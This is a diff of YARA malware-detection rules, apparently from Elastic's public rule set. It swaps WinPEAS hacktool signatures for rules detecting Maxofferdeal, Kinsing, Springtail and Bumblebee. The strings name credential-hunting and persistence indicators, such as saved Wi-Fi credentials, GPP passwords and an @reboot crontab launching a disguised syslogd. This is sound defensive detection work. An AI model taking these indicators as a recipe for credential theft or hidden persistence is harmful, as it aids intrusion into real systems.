-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "c56b6dfb2c3ae657615c825a4d5d5640c2204fa4217262e1ccb4359d5a914a63"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Virus_Maxofferdeal.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ecd62ef880da057726ca55c6826ce4e1584ec6fc3afaabed7f66154fc39ffef8"
+		logic_hash = "ed63c14e31c200f906b525c7ef1cd671511a89c8833cfa1a605fc9870fe91043"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7b6ede4d95b2d6d2a43e729365adb9de3fde74ed731cafdb88916ac3925f9164"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
+		fingerprint = "2f41de7b8e55ef8db39bf84c0f01f8d34d67b087769b84381f2ccc3778e13b08"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$win_0 = "systeminfo" ascii wide
-		$win_1 = "Please specify a valid log file." ascii wide
-		$win_2 = "argument present, redirecting output" ascii wide
-		$win_3 = "max-regex-file-size" ascii wide
-		$win_4 = "-lolbas" ascii wide
-		$win_5 = "[!] the provided linpeas.sh url:" ascii wide
-		$win_6 = "sensitive_files yaml" ascii wide
-		$win_7 = "Getting Win32_UserAccount" ascii wide
-		$win_8 = "(local + domain)" ascii wide
-		$win_9 = "Creating AppLocker bypass" ascii wide
+		$a = { BF BF BF E6 AF A7 A7 AF A4 AD E6 AB A7 A5 C8 AC AD AE A9 BD A4 BC 97 }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_413Caa6B : FILE MEMORY
+rule ELASTIC_Macos_Virus_Maxofferdeal_F4681Eba : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the dotNet binary, event module"
+		description = "Detects Macos Virus Maxofferdeal (MacOS.Virus.Maxofferdeal)"
 		author = "Elastic Security"
-		id = "413caa6b-90b7-4763-97b3-49aeb5a97cf6"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "f4681eba-20f5-4e92-9f99-00cd57412c45"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L59-L87"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "4f2417d61be5e68630408a151cd73372aef9e7f4638acf4e80bfa5b2811119a7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Virus_Maxofferdeal.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ecd62ef880da057726ca55c6826ce4e1584ec6fc3afaabed7f66154fc39ffef8"
+		logic_hash = "cf478ec5313b40d74d110e4d6e97da5f671d5af331adc3ab059a69616e78c76c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "80b32022a69be8fc1d7e146c3c03623b51e2ee4206eb5f70be753477d68800d5"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
+		fingerprint = "b6663c326e9504510b804bd9ff0e8ace5d98826af2bb2fa2429b37171b7f399d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$win_0 = "Interesting Events information" ascii wide
-		$win_1 = "PowerShell events" ascii wide
-		$win_2 = "Created (UTC)" ascii wide
-		$win_3 = "Printing Account Logon Events" ascii wide
-		$win_4 = "Subject User Name" ascii wide
-		$win_5 = "Target User Name" ascii wide
-		$win_6 = "NTLM relay might be possible" ascii wide
-		$win_7 = "You can obtain NetNTLMv2" ascii wide
-		$win_8 = "The following users have authenticated" ascii wide
-		$win_9 = "You must be an administrator" ascii wide
+		$a = { BA A4 C8 BF BF BF E6 AF A7 A7 AF A4 AD E6 AB A7 A5 C8 AC AD AE A9 BD A4 BC 97 }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_23Fee092 : FILE MEMORY
+rule ELASTIC_Macos_Virus_Maxofferdeal_4091E373 : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the dotNet binary, File analysis module"
+		description = "Detects Macos Virus Maxofferdeal (MacOS.Virus.Maxofferdeal)"
 		author = "Elastic Security"
-		id = "23fee092-f1ff-4d9e-9873-0a68360efb42"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "4091e373-c3a9-41c8-a1d8-3a77585ff850"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L89-L115"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "ed019c9198b5d9ff8392bfd7e0b23a7b1383eabce4c71c665a3ca4a943c8b6ee"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Virus_Maxofferdeal.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c38c4bdd3c1fa16fd32db06d44d0db1b25bb099462f8d2936dbdd42af325b37c"
+		logic_hash = "ce82f6d3a2e4b7ffe7010629bf91a9144a94e50513682a6c0622603d28248d51"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4420faa4da440a9e2b1d8eadef2a1864c078fccf391ac3d7872abe1d738c926e"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
+		fingerprint = "3d8e7db6c39286d9626c6be8bfb5da177a6a4f8ffcec83975a644aaac164a8c7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$win_0 = "File Analysis" ascii wide
-		$win_1 = "apache*" ascii wide
-		$win_2 = "tomcat*" ascii wide
-		$win_3 = "had a timeout (ReDoS avoided but regex" ascii wide
-		$win_4 = "Error looking for regex" ascii wide
-		$win_5 = "Looking for secrets inside" ascii wide
-		$win_6 = "files with ext" ascii wide
-		$win_7 = "(limited to" ascii wide
+		$a = { B8 F2 E7 E7 BF BF BF E6 AF A7 A7 AF A4 AD E6 AB A7 A5 C8 8B 8E 8A BD A6 AC A4 }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_861D3264 : FILE MEMORY
+rule ELASTIC_Macos_Virus_Maxofferdeal_20A0091E : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the dotNet binary, File Info module"
+		description = "Detects Macos Virus Maxofferdeal (MacOS.Virus.Maxofferdeal)"
 		author = "Elastic Security"
-		id = "861d3264-34c3-4ff0-bdd3-44cb5ecce2c8"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "20a0091e-a3ef-4a13-ba92-700f3583e06d"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L117-L145"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "e6a0a0a24c70d69c0aa56063d2db0f5a0fedcda5b96d945ac14520524b1d00fd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Virus_Maxofferdeal.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b00a61c908cd06dbc26bee059ba290e7ce2ad6b66c453ea272c7287ffa29c5ab"
+		logic_hash = "bb90b7e1637fd86e91763b4801a0b3bb8a1b956f328d07e96cf1b26e42b1931b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "03803621b6c9856443809889a14f1d2fa217812007878dd6cf9c3dc9e5f78f65"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
+		fingerprint = "1629b34b424816040066122592e56e317b204f3d5de2f5e7f68114c7a48d99cb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$win_0 = "ConsoleHost_history.txt" ascii wide
-		$win_1 = "Interesting files and registry" ascii wide
-		$win_2 = "Cloud Credentials" ascii wide
-		$win_3 = "Accessed:{2} -- Size:{3}" ascii wide
-		$win_4 = "Unattend Files" ascii wide
-		$win_5 = "Looking for common SAM" ascii wide
-		$win_6 = "Found installed WSL distribution" ascii wide
-		$win_7 = "Check skipped, if you want to run it" ascii wide
-		$win_8 = "Cached GPP Passwords" ascii wide
-		$win_9 = "[cC][rR][eE][dD][eE][nN][tT][iI][aA][lL]|[pP][aA][sS][sS][wW][oO]" ascii wide
+		$a = { F2 E7 E7 BF BF BF E6 AF A7 A7 AF A4 AD E6 AB A7 A5 C8 A0 BC BC B8 F2 E7 E7 BF }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_57587F8C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Kinsing_196523Fa : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the dotNet binary, Network module"
+		description = "Detects Linux Trojan Kinsing (Linux.Trojan.Kinsing)"
 		author = "Elastic Security"
-		id = "57587f8c-8fc6-41cc-bcb3-3d1d77c74222"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "196523fa-2bb5-4ada-b929-ddc3d5505b73"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L147-L175"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "175b8b6f9fca189f2fc41f1029ad512db2c8b0e52ea04bfbc3d410d355928ab9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Kinsing.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "baa5808fcf22700ae96844dbf8cb3bec52425eec365d2ba4c71b73ece11a69a2"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9938c60113963da342dcb7de2252cffbeaa21d36f518e203f19a43da74d85f2d"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
+		fingerprint = "29fa6e4fe5cbcd5c927e6b065f3354e4e9015e65814400687b2361fc9a951c74"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$win_0 = "Network Information" ascii wide
-		$win_1 = "Network Shares" ascii wide
-		$win_2 = "Permissions.*" ascii wide
-		$win_3 = "Network Ifaces and known hosts" ascii wide
-		$win_4 = "Enumerating IPv4 connections" ascii wide
-		$win_5 = "Showing only DENY rules" ascii wide
-		$win_6 = "File Permissions.*|Folder Permissions.*" ascii wide
-		$win_7 = "DNS cached --limit" ascii wide
-		$win_8 = "SELECT * FROM win32_networkconnection" ascii wide
-		$win_9 = "Enumerating Internet settings," ascii wide
+		$a = { 64 65 38 5F 00 64 48 8B 0C 25 F8 FF FF FF 48 3B 61 10 76 35 48 83 }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_Cae025B1 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Kinsing_7Cdbe9Fa : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the dotNet binary, Process info module"
+		description = "Detects Linux Trojan Kinsing (Linux.Trojan.Kinsing)"
 		author = "Elastic Security"
-		id = "cae025b1-bc2a-4eea-a1c1-c82d6e4fd71f"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "7cdbe9fa-39a3-43a0-853a-16f41e20f304"
+		date = "2021-12-13"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L177-L203"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "9c34443cffed43513242321e2170484dbb0d41b251aee8ea640d44da76918122"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Kinsing.yar#L20-L38"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b3527e3d03a30fcf1fdaa73a1b3743866da6db088fbfa5f51964f519e22d05e6"
+		logic_hash = "c6f5d2cf0430301ec0eae57808100203b69428f258e0e6882fecbc762d73f4bf"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "3e407824b258ef66ac6883d4c5dd3efeb0f744f8f64b099313cf83e96f9e968a"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
+		fingerprint = "2452c2821b4ca104a18d3733ee8f6744a738aca197aa35392c480e224a5f8175"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$win_0 = "Processes Information" ascii wide
-		$win_1 = "Interesting Processes -non Microsoft-" ascii wide
-		$win_2 = "Permissions:.*" ascii wide
-		$win_3 = "Possible DLL Hijacking.*" ascii wide
-		$win_4 = "ExecutablePath" ascii wide
-		$win_5 = "Vulnerable Leaked Handlers" ascii wide
-		$win_6 = "Possible DLL Hijacking folder:" ascii wide
-		$win_7 = "Command Line:" ascii wide
+		$a = { 73 2E 72 75 22 20 7C 20 61 77 6B 20 27 7B 70 72 69 6E 74 20 }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_4A9B9603 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Kinsing_2C1Ffe78 : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the dotNet binary, Services info module"
+		description = "Detects Linux Trojan Kinsing (Linux.Trojan.Kinsing)"
 		author = "Elastic Security"
-		id = "4a9b9603-7b42-4a85-b66a-7f4ec0013338"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "2c1ffe78-a965-4a70-8a9c-2cad705f8be7"
+		date = "2021-12-13"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L205-L231"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "8d78483b54d3be6988b1f5df826b8709b7aa2045ff3a3e754c359365d053bb27"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Kinsing.yar#L40-L58"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b3527e3d03a30fcf1fdaa73a1b3743866da6db088fbfa5f51964f519e22d05e6"
+		logic_hash = "9561511710eef5877c5afa49890b77fbad31a6e312b5cd33fc01f91ff2a73583"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "2a7b0e1d850fa6a24f590755ae5610309741e520e4b2bc067f54a8e086444da2"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
+		fingerprint = "6701b007ee14a022525301d53af0f4254bc26fdfbe27d3d5cebc2d40e8536ed6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$win_0 = "Services Information" ascii wide
-		$win_1 = "Interesting Services -non Microsoft-" ascii wide
-		$win_2 = "FilteredPath" ascii wide
-		$win_3 = "YOU CAN MODIFY THIS SERVICE:" ascii wide
-		$win_4 = "Modifiable Services" ascii wide
-		$win_5 = "AccessSystemSecurity" ascii wide
-		$win_6 = "Looks like you cannot change the" ascii wide
-		$win_7 = "Checking write permissions in" ascii wide
+		$a = { 73 74 73 20 22 24 42 49 4E 5F 46 55 4C 4C 5F 50 41 54 48 22 20 22 }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_4Db2C852 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Kinsing_85276Fb4 : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the dotNet binary, System info module"
+		description = "Detects Linux Trojan Kinsing (Linux.Trojan.Kinsing)"
 		author = "Elastic Security"
-		id = "4db2c852-6c03-4672-9250-f80671b93e1b"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "85276fb4-11f4-4265-9533-a96b42247f96"
+		date = "2021-12-13"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L233-L261"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "88c88103a055d25ba97f08e2f47881001ad8a2200a33ac04246494963dfe6638"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Kinsing.yar#L60-L78"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b3527e3d03a30fcf1fdaa73a1b3743866da6db088fbfa5f51964f519e22d05e6"
+		logic_hash = "6919afd133e7e369eece10ea79d9d17a1a3fbb6210593395e0be157f8c262811"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f05862b7b74cb4741aa953d725336005cdb9b1d50a92ce8bb295114e27f81b2a"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
+		fingerprint = "966d53d8fc0e241250a861107317266ad87205d25466a4e6cdb27c3e4e613d92"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$win_0 = "No prompting|PromptForNonWindowsBinaries" ascii wide
-		$win_1 = "System Information" ascii wide
-		$win_2 = "Showing All Microsoft Updates" ascii wide
-		$win_3 = "GetTotalHistoryCount" ascii wide
-		$win_4 = "PS history size:" ascii wide
-		$win_5 = "powershell_transcript*" ascii wide
-		$win_6 = "Check what is being logged" ascii wide
-		$win_7 = "WEF Settings" ascii wide
-		$win_8 = "CredentialGuard is active" ascii wide
-		$win_9 = "cachedlogonscount is" ascii wide
+		$a = { 65 5F 76 00 64 48 8B 0C 25 F8 FF FF FF 48 3B 61 10 76 38 48 83 }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_Bcedc8B2 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Springtail_35D5B90B : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the dotNet binary, User info module"
+		description = "Detects Linux Trojan Springtail (Linux.Trojan.Springtail)"
 		author = "Elastic Security"
-		id = "bcedc8b2-d9e1-45cd-94b4-a19a3ed8c0f9"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "35d5b90b-f81d-4a10-828b-8315f8e87ca7"
+		date = "2024-05-18"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L263-L291"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "7f0a6a9168b5ff7cc02ccadd211cc8096307651be65c2b3e7cc9fdbbde08ab9f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Springtail.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "30584f13c0a9d0c86562c803de350432d5a0607a06b24481ad4d92cdf7288213"
+		logic_hash = "7158e60aedfde884d9ee01457abfe6d9b6b1df9cdc1c415231d98429866eaa6c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "039ea2f11596d6a8d5da05944796424ee6be66e16742676bbb2dc3fcf274cf4a"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
+		fingerprint = "ca2d3ea7b23c0fc21afb9cfd2d6561727780bda65d2db1a5780b627ac7b07e66"
 		severity = 100
-		arch_context = "x86"
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$win_0 = "Users Information" ascii wide
-		$win_1 = "docker|Remote |DNSAdmins|AD Recycle Bin|" ascii wide
-		$win_2 = "NotChange|NotExpi" ascii wide
-		$win_3 = "Current Token privileges" ascii wide
-		$win_4 = "Clipboard text" ascii wide
-		$win_5 = "{0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}" ascii wide
-		$win_6 = "Ever logged users" ascii wide
-		$win_7 = "Some AutoLogon credentials were found" ascii wide
-		$win_8 = "Current User Idle Time" ascii wide
-		$win_9 = "DsRegCmd.exe /status" ascii wide
+		$systemd1 = "Description=syslogd"
+		$systemd2 = "ExecStart=/bin/sh -c \"/var/log/syslogd\""
+		$cron1 = "cron.txt@reboot"
+		$cron2 = "/bin/shcrontab"
+		$cron3 = "type/var/log/syslogdcrontab cron.txt"
+		$uri = "/mir/index.php"
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_B6Bb3E7C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bumblebee_35F50Bea : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the dotNet binary, Windows credentials module"
+		description = "Detects Windows Trojan Bumblebee (Windows.Trojan.Bumblebee)"
 		author = "Elastic Security"
-		id = "b6bb3e7c-29f6-4bc6-8082-558a56512fc3"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "35f50bea-c497-4cc6-b915-8ad3aca7bee6"
+		date = "2022-04-28"
+		modified = "2022-06-09"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L293-L321"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "e2eaf91b9c5d3616fb2f6f6bc4b44841b1efa3b4efe7ac72afe225728523af75"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Bumblebee.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9fff05a5aa9cbbf7d37bc302d8411cbd63fb3a28dc6f5163798ae899b9edcda6"
+		logic_hash = "9f22b1b7f9e2d7858738d02730ef5477f8d430ad3606ebf4ac8b01314fdc9c46"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ecc2217349244cd78fa5be040653c02096ee8b6a2f2691309fd7f9f62612fa79"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
+		fingerprint = "f2e07a9b7d143ca13852f723e7d0bd55365d6f8b5d9315b7e24b7f1101010820"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -99407,38 +103650,29 @@ rule ELASTIC_Windows_Hacktool_Winpeas_Ng_B6Bb3E7C : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$win_0 = "Windows Credentials" ascii wide
-		$win_1 = "Checking Windows Vault" ascii wide
-		$win_2 = "Identity.*|Credential.*|Resource.*" ascii wide
-		$win_3 = "Checking Credential manager" ascii wide
-		$win_4 = "Saved RDP connections" ascii wide
-		$win_5 = "Recently run commands" ascii wide
-		$win_6 = "Checking for DPAPI" ascii wide
-		$win_7 = "Checking for RDCMan" ascii wide
-		$win_8 = "Looking for saved Wifi credentials" ascii wide
-		$win_9 = "Looking AppCmd.exe" ascii wide
+		$a1 = { 43 28 45 33 D2 4D 8D 0C 00 44 88 54 24 20 66 48 0F 7E C9 66 0F }
+		$a2 = { 31 DA 48 31 C7 45 ?? C9 B9 E8 03 C7 45 ?? 00 00 BA 01 C7 45 ?? 00 00 00 48 C7 45 ?? B8 88 77 66 C7 45 ?? 55 44 33 22 C7 45 ?? 11 FF D0 EB C6 45 }
 
 	condition:
-		5 of them
+		any of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_94474B0B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bumblebee_70Bed4F3 : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the bat script"
+		description = "Detects Windows Trojan Bumblebee (Windows.Trojan.Bumblebee)"
 		author = "Elastic Security"
-		id = "94474b0b-c3dc-4585-afb3-3afe4c3ec525"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "70bed4f3-f515-4186-ac6c-e9db72b8a95a"
+		date = "2022-04-28"
+		modified = "2022-06-09"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L323-L351"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "e209c9ce1f4b11c5fdeade3298329d62f5cf561403c87077d94b6921e81ffaea"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Bumblebee.yar#L22-L46"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9fff05a5aa9cbbf7d37bc302d8411cbd63fb3a28dc6f5163798ae899b9edcda6"
+		logic_hash = "3ff97986bfd8df812c4ef94395b3ac7f9ead4d059c398f8984ee217a1bcee4af"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "06e184fb837274271711288994a3e6bfcc2a50472ca05c8af9f1e4d8efd9091d"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
